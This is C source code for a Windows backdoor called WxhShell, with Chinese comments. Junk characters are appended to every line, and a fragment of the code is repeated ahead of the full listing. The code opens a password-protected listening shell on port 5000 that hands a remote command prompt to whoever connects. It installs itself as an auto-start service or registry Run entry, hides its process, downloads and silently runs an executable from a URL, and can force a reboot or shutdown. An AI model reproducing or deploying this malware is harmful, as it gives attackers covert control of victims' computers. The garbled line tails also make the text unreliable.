    if(Boot(SHUTDOWN)) Al;oI3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G~j<I/)"  
    else { omU)hFvyS  
    closesocket(wsh); v[=E f  
    ExitThread(0); ]qT r4`.  
    } Ol^EQLO  
    break; 9O_N iu0  
    } y^fU_L?p  
  // 获取shell sX?7`n1U  
  case 's': { c7N9X 3A  
    CmdShell(wsh); SQ.Wj?W)  
    closesocket(wsh); Dy'l]vN$  
    ExitThread(0); qt;Tfuo  
    break; J#5o  
  } s:.XF|e{  
  // 退出 |1 6v4 R  
  case 'x': { pNsLoNZ3w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (M?Q9\X  
    CloseIt(wsh); ^vz@d+\Kd  
    break; \d`Sz *  
    } =1?yS3  
  // 离开 u 9Tl Xn  
  case 'q': { #.xTAvD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q";eyYdOL  
    closesocket(wsh); b,sc  
    WSACleanup(); )xs,  
    exit(1); nlnJJM&J $  
    break; M- A}(r +J  
        } 55en D  
  } !~kzxY  
  } $S("- 3  
=f|a?j,f~  
  // 提示信息 <;"=ah7A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cC]1D*Bn  
} CR=MjmH  
  } %P6!vx:&^b  
N* -Z Jv  
  return; _ h-X-s Y  
} HK.J/Zr  
H!=BjU1Pmg  
// shell模块句柄 bME3" e{O  
int CmdShell(SOCKET sock) S?tLIi/  
{ Ku'U^=bVm:  
STARTUPINFO si; Wuz~$SU  
ZeroMemory(&si,sizeof(si)); 8hA=$}y&x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hvk?(\x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?V)6`St#C  
PROCESS_INFORMATION ProcessInfo; <us{4 %  
char cmdline[]="cmd"; p+?WhxG)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xo+z[OIlF  
  return 0; 1MSu ]) W  
} G-<~I#k  
aC` c^'5  
// 自身启动模式 v Rs5-T  
int StartFromService(void) m$g^On  
{ C_)>VPD  
typedef struct iB-s*b<`~  
{ 3I(M<sB}  
  DWORD ExitStatus; O,v$'r W  
  DWORD PebBaseAddress; SsZzYj.d  
  DWORD AffinityMask; -/?<@*n  
  DWORD BasePriority; '_Oprx  
  ULONG UniqueProcessId; bq ]a8tSB  
  ULONG InheritedFromUniqueProcessId; {xH@8T$DX  
}   PROCESS_BASIC_INFORMATION; R MXj)~4.  
b5R*]  
PROCNTQSIP NtQueryInformationProcess; Y6a|\K|  
J_$~OEC~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bS<p dOX_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0rUf'S ?K  
Awh)@iTL  
  HANDLE             hProcess; m ws.)  
  PROCESS_BASIC_INFORMATION pbi; A@r,A?(  
$Plk4 o*g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cGKk2'v?  
  if(NULL == hInst ) return 0; 4N&}hOM'S  
iI7~9SCE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i2E7$[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e+TNG &_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5c8x: e@  
Q!v[b{]8  
  if (!NtQueryInformationProcess) return 0; H2vEFnV  
{'(8<n57  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8),Y|4  
  if(!hProcess) return 0; TH &B9  
g~b'}^J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6np wu5!  
79_MP  
  CloseHandle(hProcess); Viw3 /K  
=KLYR UW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QZol( 2~Y  
if(hProcess==NULL) return 0; D.?gV_  
'-=?lyKv  
HMODULE hMod; I4'j_X t  
char procName[255]; %+~0+ev7r  
unsigned long cbNeeded; +L6d$+  
?a@l.ZM*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *VB*/^6A  
ix;8S=eP~{  
  CloseHandle(hProcess); ^(R gSMuT`  
,PY e7c  
if(strstr(procName,"services")) return 1; // 以服务启动 RU=%yk-gM  
4tjRju?  
  return 0; // 注册表启动 >B0S5:S$W  
} |a+8-@-Tj  
26A#X  
// 主模块 75y#^pD?c  
int StartWxhshell(LPSTR lpCmdLine) b%(0AL  
{ <>TBM^  
  SOCKET wsl; yyc&'J  
BOOL val=TRUE; 3B+Rx;>h  
  int port=0; iKwVYL  
  struct sockaddr_in door; UuGv= yC^6  
^&Bye?`5  
  if(wscfg.ws_autoins) Install(); _17"T0  
mD! imq%=  
port=atoi(lpCmdLine); _ sd?l  
CfU )+20  
if(port<=0) port=wscfg.ws_port; `0D+x  
SW7%SX,xM  
  WSADATA data; .kVga+la?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ) =[Tgh  
0U'r ia:$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y06 2/$*$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C;` fOCz^  
  door.sin_family = AF_INET; jolCR-FDu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <Vim\  
  door.sin_port = htons(port); W3b\LnUa  
~X/T6(n$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [>E0(S]  
closesocket(wsl); `*]r.u0  
return 1; _~!,x.Dbp  
} ^:BRbp37i  
\MU4"sXw  
  if(listen(wsl,2) == INVALID_SOCKET) { PA E)3  
closesocket(wsl); &N EzKf  
return 1; JsV#:  
} S<TfvQ\,"@  
  Wxhshell(wsl); DQSv'!KFO  
  WSACleanup(); /bWV `*  
!E%!,  
return 0; deNU[  
4{|lzo'&  
} J [1GP_  
N`M5`=.  
// 以NT服务方式启动 x K/`XY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wgrYZ^]  
{ &7 ,wdG  
DWORD   status = 0; T*oH tpFj#  
  DWORD   specificError = 0xfffffff; hRP0Djc  
,#crtX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A)xI. Q6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -Jhf]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *)`:Nm~y  
  serviceStatus.dwWin32ExitCode     = 0; }V 1sY^C  
  serviceStatus.dwServiceSpecificExitCode = 0; 0t) IW D  
  serviceStatus.dwCheckPoint       = 0; fqcyCu7Ep  
  serviceStatus.dwWaitHint       = 0; hm& ~6rB  
ZrTq)BZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); thh, V   
  if (hServiceStatusHandle==0) return; ?F-,4Ox{/  
1xw},y6T2  
status = GetLastError(); Z1Ms ~tch  
  if (status!=NO_ERROR) :!%oQQO  
{ X **w RF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R{T4AZ@,'  
    serviceStatus.dwCheckPoint       = 0; 6c2fqAF>i  
    serviceStatus.dwWaitHint       = 0; F?UL0Q|uv  
    serviceStatus.dwWin32ExitCode     = status; \1tce`+  
    serviceStatus.dwServiceSpecificExitCode = specificError; nP}/#Wy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |aZ^K\yIF  
    return; { Z|C  
  } /:S.(" Unv  
?B-aj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,yB-jk?  
  serviceStatus.dwCheckPoint       = 0; D!:Qy@Zw  
  serviceStatus.dwWaitHint       = 0; b c+' n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hJ|z8Sy@1  
} TqWvHZX  
ag3T[}L z  
// 处理NT服务事件,比如:启动、停止 B$\5=[U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9U+^8,5  
{ U*-%V$3+w5  
switch(fdwControl) kr3ZqMfeI  
{ l!oU9  
case SERVICE_CONTROL_STOP: u", [ulP  
  serviceStatus.dwWin32ExitCode = 0; KmMt:^9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8J)x>6  
  serviceStatus.dwCheckPoint   = 0; O". #B  
  serviceStatus.dwWaitHint     = 0; Z I8p(e  
  { C}M0KDF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hVd63_OO  
  } QPBf++|  
  return; +'[iyHBJ  
case SERVICE_CONTROL_PAUSE: 3m x7[Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; blLX ncyD  
  break; ztu N0}'  
case SERVICE_CONTROL_CONTINUE: [\I\).  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P| G:h&  
  break; [x@iqFO9  
case SERVICE_CONTROL_INTERROGATE: &)rmv  
  break; 3iY`kf  
}; Z!*Wn`d-k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W{k}ogI;  
} %cBJ haR{(  
-1fT2e  
// 标准应用程序主函数 aa$+(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HbCM{A9  
{ r=s7be  
r| YuHm  
// 获取操作系统版本 : G<1   
OsIsNt=GetOsVer(); XrYz[h*)!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0Tq6\:  
vh((HS-)  
  // 从命令行安装 2 &R-z G  
  if(strpbrk(lpCmdLine,"iI")) Install(); *r[PZ{D+  
;X\,-pjv  
  // 下载执行文件 SC'fT!  
if(wscfg.ws_downexe) { 1;SWfKU?.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c\n\gQ:LQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); `2 {x 8A  
} tM~R?9OaJ  
,*Sj7qb#  
if(!OsIsNt) { y+@7k3"  
// 如果时win9x,隐藏进程并且设置为注册表启动 =T!M`  
HideProc(); S?;&vs9j  
StartWxhshell(lpCmdLine); 9^ )=N=wV  
} #p0vrQ;5f  
else I:[3x2H  
  if(StartFromService()) {G_ZEo#x8,  
  // 以服务方式启动 ) _"`{2  
  StartServiceCtrlDispatcher(DispatchTable); \  VJ3  
else )~rN{W<s`H  
  // 普通方式启动 GBN^ *I  
  StartWxhshell(lpCmdLine); ~fEgrF d  
c}lUP(Ss  
return 0; F?TAyD*  
} 5_{C \S`T  
@99@do |C  
~p^6  
:+; U W \  
=========================================== |R DPx6!V  
W$  M4#  
 #\Lt0  
2B5Z0<  
m%l\EE  
,{7Z OzA  
" 8h}o5B  
7@5}WNr  
#include <stdio.h> 9tWu>keu  
#include <string.h> iq=<LOx  
#include <windows.h> L3,p8-d9Z  
#include <winsock2.h> Beq zw0  
#include <winsvc.h> Z_Hc":4i  
#include <urlmon.h> YrFB~z.V  
F:1w%#6av  
#pragma comment (lib, "Ws2_32.lib") Js ~_8  
#pragma comment (lib, "urlmon.lib") qf7 lQovK  
o{lR_  
#define MAX_USER   100 // 最大客户端连接数 g7rn|<6FI  
#define BUF_SOCK   200 // sock buffer hr(E, TAe  
#define KEY_BUFF   255 // 输入 buffer {|bf`  
NvQN  
#define REBOOT     0   // 重启 7vubkj&  
#define SHUTDOWN   1   // 关机 K#kU6/  
|-%[Z  
#define DEF_PORT   5000 // 监听端口 ;i@,TU  
+\2{{~_z  
#define REG_LEN     16   // 注册表键长度 N\BB8<F  
#define SVC_LEN     80   // NT服务名长度 ?V3e;n  
QJjqtOf>  
// 从dll定义API h%9#~gJ})  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Hcq?7_)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l`4hWs\I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a"4j9cO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .k|8nNj  
?zM]p"M  
// wxhshell配置信息 xp.~i*!`  
struct WSCFG { 3{O^q/R  
  int ws_port;         // 监听端口 FIDV5Y/f  
  char ws_passstr[REG_LEN]; // 口令 6=0"3%jn@  
  int ws_autoins;       // 安装标记, 1=yes 0=no by (xv0v;  
  char ws_regname[REG_LEN]; // 注册表键名 ,C1}gPQ6<  
  char ws_svcname[REG_LEN]; // 服务名 |>Qj]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1/:WA:]1 ,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ozy~`$;c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &A)AV<=>T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fucG 9B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +`>Tuz~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \]1qAFB5  
T%B&HsH  
}; #`?B:  
7VduewKX8  
// default Wxhshell configuration DD{-xCCR  
struct WSCFG wscfg={DEF_PORT, Qyx%:PE  
    "xuhuanlingzhe", .zZee,kM  
    1, ).0klwfV  
    "Wxhshell", B+:/!_  
    "Wxhshell", ZF^$?;'3  
            "WxhShell Service", @8{-B;   
    "Wrsky Windows CmdShell Service", dj>zy  
    "Please Input Your Password: ", ?S9? ?y/  
  1, fP# !ywgr%  
  "http://www.wrsky.com/wxhshell.exe", +"Flu.+['  
  "Wxhshell.exe" wVX]"o  
    }; WdI9))J2S  
yyB;'4Af  
// 消息定义模块 \"Jgs.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "H\1Z,P<m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1fUg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -j9Wf=  
char *msg_ws_ext="\n\rExit."; wyJ+~  
char *msg_ws_end="\n\rQuit."; jrk48z  
char *msg_ws_boot="\n\rReboot..."; jkTC/9AE|  
char *msg_ws_poff="\n\rShutdown..."; v"ZNS  
char *msg_ws_down="\n\rSave to "; yK9:LXhf  
BQTZt'p  
char *msg_ws_err="\n\rErr!"; |Lf>Z2E  
char *msg_ws_ok="\n\rOK!"; tqbYrF)  
-|V1A[  
char ExeFile[MAX_PATH]; imw,Nb  
int nUser = 0; "%]<Co<S  
HANDLE handles[MAX_USER]; HueGARS  
int OsIsNt; ;+C2P@M  
|I \&r[J  
SERVICE_STATUS       serviceStatus; j.or:nF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4~<78r5m  
c@f?0|66M  
// 函数声明 %n?&#_G|  
int Install(void); ;GQCq@)-  
int Uninstall(void); 0+S ;0  
int DownloadFile(char *sURL, SOCKET wsh); lgrD~Y (x  
int Boot(int flag); mk.1jx ?l  
void HideProc(void); Hw29V //  
int GetOsVer(void); v *icoj  
int Wxhshell(SOCKET wsl); O?,Grn%'.  
void TalkWithClient(void *cs); Pa)'xfQ$Y6  
int CmdShell(SOCKET sock); M18 >%zM  
int StartFromService(void); -J &y]'  
int StartWxhshell(LPSTR lpCmdLine); Z:eB9R#2y  
|xYr0C[Pq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'aV])(Wm>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *'&]DJj  
oD<aWZ"Z  
// 数据结构和表定义 "qh~wKJ  
SERVICE_TABLE_ENTRY DispatchTable[] = {0L.,T~g+[  
{ F-R5Ib-F*A  
{wscfg.ws_svcname, NTServiceMain}, )O+Vft&#  
{NULL, NULL} >E lK8  
}; N W]zMU{c  
'k'"+  
// 自我安装 xu%_Zt2/?j  
int Install(void) J(>T&G;  
{ pSa pF)1>  
  char svExeFile[MAX_PATH]; A4{14Y;?  
  HKEY key; ) KvGJo)("  
  strcpy(svExeFile,ExeFile); d!57`bVOd  
&ci;0P#Q  
// 如果是win9x系统,修改注册表设为自启动 m3#rU%Wj  
if(!OsIsNt) { LUaOp "  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t]gZ^5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?i{/iH~Sf  
  RegCloseKey(key); p C^=?!:U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Phq"A[4=O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DyPHQ}G  
  RegCloseKey(key); GBYeiEgZh  
  return 0; :MaP58dhh  
    } y:',)f }  
  } <>v=jH|L  
} "%(SLQOyy  
else { 9QP-~V{$  
:_8Nf1B+T  
// 如果是NT以上系统,安装为系统服务 ~`97?6*Ra  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -kk0zg &|i  
if (schSCManager!=0) Talmc|h  
{ "LNLM  
  SC_HANDLE schService = CreateService =O%Hf bx  
  ( G!)Q"+  
  schSCManager, ;~,)6UX7  
  wscfg.ws_svcname, N?EeT}m_  
  wscfg.ws_svcdisp, utu V'5GD  
  SERVICE_ALL_ACCESS, gWD46+A){  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A Xpg_JC  
  SERVICE_AUTO_START, .QU]  
  SERVICE_ERROR_NORMAL, CL3b+r  
  svExeFile, m)l'i!Y  
  NULL, :y.~IQN  
  NULL, Y 'y yrn}  
  NULL, 8|L;y[v  
  NULL, 7!F -.kG  
  NULL KwHlpW*  
  ); XvSng"f.  
  if (schService!=0) icK$W2<8mg  
  { H-,p.$3}  
  CloseServiceHandle(schService); y[{}124  
  CloseServiceHandle(schSCManager); 3y tlD'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Na>w~  
  strcat(svExeFile,wscfg.ws_svcname); !aB~G}'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B ({g|}|G+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -K (>uV!?  
  RegCloseKey(key); w2SN=X~#  
  return 0; Z'UhJuD5  
    } }Uu#N H  
  } hnimd~E52k  
  CloseServiceHandle(schSCManager); g43(N!@g  
} &gF9VY  
} [*J?TNk  
:85QwN]\  
return 1; TKp2C5bX  
} gNJdP!(t  
!bIE%cq  
// 自我卸载 B[IWgvB(e  
int Uninstall(void) !]3kFWs  
{ MTip4L W9  
  HKEY key; cT5BBR   
p\P)    
if(!OsIsNt) { =w!2R QB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cd|/ 4L 6  
  RegDeleteValue(key,wscfg.ws_regname); T65"?=<EB  
  RegCloseKey(key); X[!S7[d-y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -^Qm_lN  
  RegDeleteValue(key,wscfg.ws_regname); &+0?Xip{Z  
  RegCloseKey(key); 8<x& Xd  
  return 0; j&u/T  
  } sXmP<c  
} @'A0Lq+#  
} F/PH=Dk  
else { T/FZn{I  
T>pyYF1Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U.WXh(`%  
if (schSCManager!=0) /}/GK|tj  
{ BNgm+1?L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :='I>Gn  
  if (schService!=0) yl&s!I  
  { JEs@ky?{z  
  if(DeleteService(schService)!=0) {  {FX]1:  
  CloseServiceHandle(schService); BRa9j:_b  
  CloseServiceHandle(schSCManager); D\Y,2!I  
  return 0; n[B[hAT  
  } gFd*\Dk  
  CloseServiceHandle(schService); |c>.xt~  
  } c^rWS&)P  
  CloseServiceHandle(schSCManager); Zoy)2E{  
} 18Vn[}]"  
} 6L;]5)#  
*aJO5&w<T  
return 1;  |e<$  
} 9 p,O>I  
T^F83Py<  
// 从指定url下载文件 S['cX ~  
int DownloadFile(char *sURL, SOCKET wsh) 2OpkRFFa  
{ Be9,m!on  
  HRESULT hr; xs&xcR R"  
char seps[]= "/"; q6ZewuV.  
char *token; (I`lv=R"j  
char *file; `v-O 4Pk  
char myURL[MAX_PATH]; *\@RBJGF  
char myFILE[MAX_PATH]; JVGTmS[3  
`8r$b/6  
strcpy(myURL,sURL); J$PlI  
  token=strtok(myURL,seps); F9Af{*Jw?x  
  while(token!=NULL) ^i r)z@P?V  
  { O c.fvP^ZD  
    file=token; O._\l?m  
  token=strtok(NULL,seps); R58NTPm  
  } %ZcS"/gf  
-k@1# c+z  
GetCurrentDirectory(MAX_PATH,myFILE); V;W{pd-I  
strcat(myFILE, "\\"); %NfXe[T  
strcat(myFILE, file); 3yw$<lm  
  send(wsh,myFILE,strlen(myFILE),0); CiGXyhh  
send(wsh,"...",3,0); MsBm0r`a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IM ncl=1  
  if(hr==S_OK) r{B28'f[  
return 0; AusjN-IL  
else hs5>Gx  
return 1; j0j!oj)7I  
[?hvx}  
} [Y~~C J  
MN8>I=p  
// 系统电源模块 &CcW(-  
int Boot(int flag) ]Y-Y.&b7t  
{ |N^"?bSt  
  HANDLE hToken; Qwt0~9n(  
  TOKEN_PRIVILEGES tkp; ZJenwo  
x.4z)2MO  
  if(OsIsNt) { 0w: 3/WO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 97U OH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xticC>  
    tkp.PrivilegeCount = 1; vcsSi%M\U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "*t0 t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Mk0x#-F  
if(flag==REBOOT) {  '6})L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7{(UiQbf  
  return 0; KK5;6b  
} fm@Pa} ,  
else { _5H~1G%q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (~%NRH<\  
  return 0; [u$|/  
} i39ZBs@  
  } <i4]qO(0u  
  else { /t< &  
if(flag==REBOOT) { IC5QH<.$C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x.Egl4b3  
  return 0; %)r:!R~R  
} J <;xkT1x  
else { iCA-X\E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lVQE}gd%m  
  return 0; oH+PlL  
} !tt 8-Y)i  
} J5HN*Wd  
1 z~|SmP1  
return 1; Zs{7km  
} LSA6*Q51  
!'~Ldl  
// win9x进程隐藏模块 /8Y8-&K0  
void HideProc(void) RRPPojKZ  
{ B`<}YVA  
3cgq'ob  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uS,?oS  
  if ( hKernel != NULL )  Igmg&  
  { (oR~%2K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6u#eLs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1U#W=Fg'  
    FreeLibrary(hKernel); _B#x{ii  
  } dqJ 8lU?  
xEu rkR  
return; u6F>o+Td)  
} 8b.k*,r>  
P8}IDQ9  
// 获取操作系统版本 BO4;S/ O  
int GetOsVer(void) `,xO~_ e>  
{ f|M^UHt8*  
  OSVERSIONINFO winfo; K}cA%Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g-wE(L  
  GetVersionEx(&winfo); ,*U-o}{8C?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 717THci3Y  
  return 1; Wz=& 0>Mm_  
  else Dk a8[z7  
  return 0; 1HKA`]D"p  
} \1gAWUt('  
:e=7=|@7  
// 客户端句柄模块 =oIt.`rf  
int Wxhshell(SOCKET wsl) ?g{[U0)  
{ \Xmp lG:  
  SOCKET wsh; k kAg17 ^  
  struct sockaddr_in client; y>x"/jzF#  
  DWORD myID; iAQ[;M 3p  
&gruYZGK  
  while(nUser<MAX_USER) p\6}<b"p  
{ b9vud r  
  int nSize=sizeof(client); C5-u86F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >oWPwXA  
  if(wsh==INVALID_SOCKET) return 1; gk6R#  
X4 S| JT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \Db;7wh  
if(handles[nUser]==0) eu"m0Q  
  closesocket(wsh); JyTETf,y  
else h6?^rS8U  
  nUser++; m!G(vhA,_w  
  } lAM)X&}0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gEsD7]o(=  
U5N|2  
  return 0; s=-?kcoJ2d  
} 6]%=q)oL[  
P8ej9ULX,  
// 关闭 socket gh*k\0  
void CloseIt(SOCKET wsh) ]gVA6B?&9  
{ B=K<k+{6"  
closesocket(wsh); .eg'Z@o  
nUser--; *5BVL_:~J  
ExitThread(0); zA6C{L G3  
} z+;$cfN  
}wn|2K'  
// 客户端请求句柄 ?m2FN< S  
void TalkWithClient(void *cs) nw- -  
{ 53:u6bb;  
N*|EfI|X  
  SOCKET wsh=(SOCKET)cs; Z0zEX?2mb  
  char pwd[SVC_LEN]; qjkWCLOd  
  char cmd[KEY_BUFF]; JS8pN5   
char chr[1]; 5]]QW3  
int i,j; 4y+hr   
SaF0JPm4z  
  while (nUser < MAX_USER) { O4f9n  
Lf ^ 7|  
if(wscfg.ws_passstr) { Y=<ABtertS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~FYC'd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *!y04'p`<  
  //ZeroMemory(pwd,KEY_BUFF); 6wB !dl  
      i=0; ef{Hj[8  
  while(i<SVC_LEN) { *vRHF1)L  
.Qn#wub  
  // 设置超时 <:/aiX8  
  fd_set FdRead; v"(6rZsa  
  struct timeval TimeOut; :RB7#v={  
  FD_ZERO(&FdRead); *8a[M{-X  
  FD_SET(wsh,&FdRead); ,Aq, f$5V  
  TimeOut.tv_sec=8; c/bT5TIEWs  
  TimeOut.tv_usec=0; C$])q`9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (AZneK :*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ld(_+<e  
vFJ4`Gjw(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HI D6h!  
  pwd=chr[0];  8q9 ^  
  if(chr[0]==0xd || chr[0]==0xa) { w/o8R3 F  
  pwd=0; 9m>L\&\_e  
  break; ` k I}p  
  } KS~Q[-F1P  
  i++; &f'Lll  
    } h6LjReNo  
t"%~r3{  
  // 如果是非法用户,关闭 socket AM!P?${a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^8oN~HLZ  
} d:&cq8^  
AX@bM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \ :@!rM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0W6= '7  
(0 t{  
while(1) { 6@^ ?dQ  
u];\v%b  
  ZeroMemory(cmd,KEY_BUFF); P!9-!+F"  
V e[Kv07  
      // 自动支持客户端 telnet标准   :X9;KoJl-V  
  j=0; GPs4:CIgG  
  while(j<KEY_BUFF) { O>rz+8T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &JLKHwi/  
  cmd[j]=chr[0]; NODE`VFu  
  if(chr[0]==0xa || chr[0]==0xd) { ct*~\C6Ze  
  cmd[j]=0; ?=iy 6q  
  break; 7[kDc-  
  } C\C*@9=&x  
  j++; <4?(|Vh[m]  
    } ;erxB6*  
yP@#1KLa+  
  // 下载文件 YL;*%XmAG  
  if(strstr(cmd,"http://")) { =}0>S3a.7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \@Z D.d#  
  if(DownloadFile(cmd,wsh)) q,Nqv[va  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GZ:1bV37%  
  else Vz,"vBds  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >> -{AR0  
  } )buy2#8UW  
  else { [F *hjGLc}  
M _Lj5`  
    switch(cmd[0]) { <3k9 y^0  
  i}:^<jDv?  
  // 帮助 !qs~j=;y3  
  case '?': { J(,gLl  
